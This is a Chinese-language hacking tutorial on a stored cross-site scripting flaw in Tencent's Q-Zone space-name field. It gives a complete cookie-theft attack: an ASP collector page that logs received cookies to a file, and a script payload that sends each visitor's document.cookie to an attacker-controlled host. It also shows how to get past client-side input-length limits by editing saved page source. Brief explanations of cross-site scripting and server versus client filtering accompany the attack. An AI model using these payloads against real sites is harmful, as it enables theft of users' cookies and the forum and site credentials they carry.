技术点:CSS跨站漏洞 用户输入过滤方式 修改IE提交数据 跨站盗取COOKIE
前不久,腾讯新推出的网络空间“Q-ZONE”暴出了存在跨站漏洞,很难想象,一项新推出的业务居然如果脆弱,不由不让人佩服腾讯的开发能力,下面便我们来了解一下“Q-ZONE”的这一跨站漏洞吧。
Q-Zone跨站漏洞的分析
1、Q-Zone对用户输入的过滤
进入Q-Zone后,依次点击“设置→空间设置→QQ空间名称”,在这里将可以修改空间的显示名称。如果我们写入一段可执行的脚本代码,只要过滤不严格的话,同样会被保存在首页中,通过调用执行代码,达到攻击浏览者的目的。下面我们先测试一下这个输入框中能否写入跨站脚本:
打开我们的Q-Zone,此时会自动弹出一个提示窗口。说明我们已经在远程的网页中成功的插入了“<script>alert("test")</script>”这条代码!同时在修改空间名称的页面中,可以看到已提交修改的原来被限制了的空间名称。
跨站漏洞应用实例――盗取用户Cookie
上面进行的仅仅是一个简单的测试,如果攻击者在Q-Zone中写出危险的代码,例如盗取浏览网页者的Cookie内容的代码时,就很有可能获得Cookie中的各种论坛或网站的帐号及密码。下面简单的说一说这种利用方式:
1、上传Cookie收集网页
申请一个网站空间,上传一内容如下的ASP文件――info.asp,这个网页主要用来收集后面的Cookie内容。
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
2、在Q-Zone中写入盗Cookie代码
运行“Q-ZONE个人空间名称跨站漏洞利用工具”,将下面的代码提交插入到Q-Zone中:
“<script>window.open('http://***/info.asp?msg='+document.cookie)</script>”
当其他QQ用户浏览你的Q-Zone时,就会将在当前网页中新开一个窗口,连接到你指定的收集Cookie网页,并将自己的COOKIE内容发送到网站空间中的"cookies.txt"文件内,打开该文件后,就可以看到所有用户的COOKIE信息,而这些COOKIE信息中很可能就包括着用户的各个论坛和网站密码帐号哦!
小知识:CSS跨站漏洞
跨站漏洞又叫CSS漏洞,这里的CSS可不是网站设计中的CSS(分层样式表),而是指黑客入侵者通过某种方式,在远程的WEB页面的HTML代码中写入特殊的字符串。当其它上网者在浏览此页面时,嵌入页面中的这些字符就会被作为一段脚本代码而执行。
黑客向远程页面中写入代码的方法很多,比如最常见的是在论坛中发帖时,在帖子中加入可执行的代码;或者在网站的用户资料修改处,也可以通过更改签名、联系方式等,在用户信息页面中嵌入脚本代码。无论采用何种方式写入执行代码时,要求网页程序没有对用户输入的数据进行严格的过滤,有的网页程序限制了用户写入的字符类型,有危险的特殊代码就无法写入执行。利用跨站漏洞,入侵者可以进行非常多的攻击,比如盗取别的人COOKIES中的帐号和密码,或者伪造页面信息、进行拒绝服务等。可以说跨站漏洞是一个危害性非常大的漏洞。
用户输入过滤方式
网页程序对用户输入进行过滤的方式一般有两种:一种是在服务端进行过滤,也就是说当用户将数据提交到网页服务器后,在服务器端对用户的输入进行检测过滤是否符合要求;另外一种是在客户端进行过滤,也就是说当用户输入数据后,在将数据提交发送到远程的网站服务器上时,首先在客户端进行数据过滤检测,符合要求再发送。比如许多网页程序为了防止用户构造提交的数据进行SQL攻击,在远程服务器端进行了数据过滤;同时在许多网站上我们也可以看到一些用户注册之类的表单,限制了用户输入数据的长度,这些大部份是在客户端进行限制的。
修改IE提交数据
一般说来,对用户输入端进行的简单限制,可以通过直接修改网页源代码绕过。例如上面提到的对用户输入长度的限制,如果我们将源代码中的“maxlength="24"”改为“maxlength="1000"”,并将上面的检测用户输入内容的代码段删除掉后,保存成一个html文件后。再重新打开保存的HTML文件,就可以突破限制提交数据了。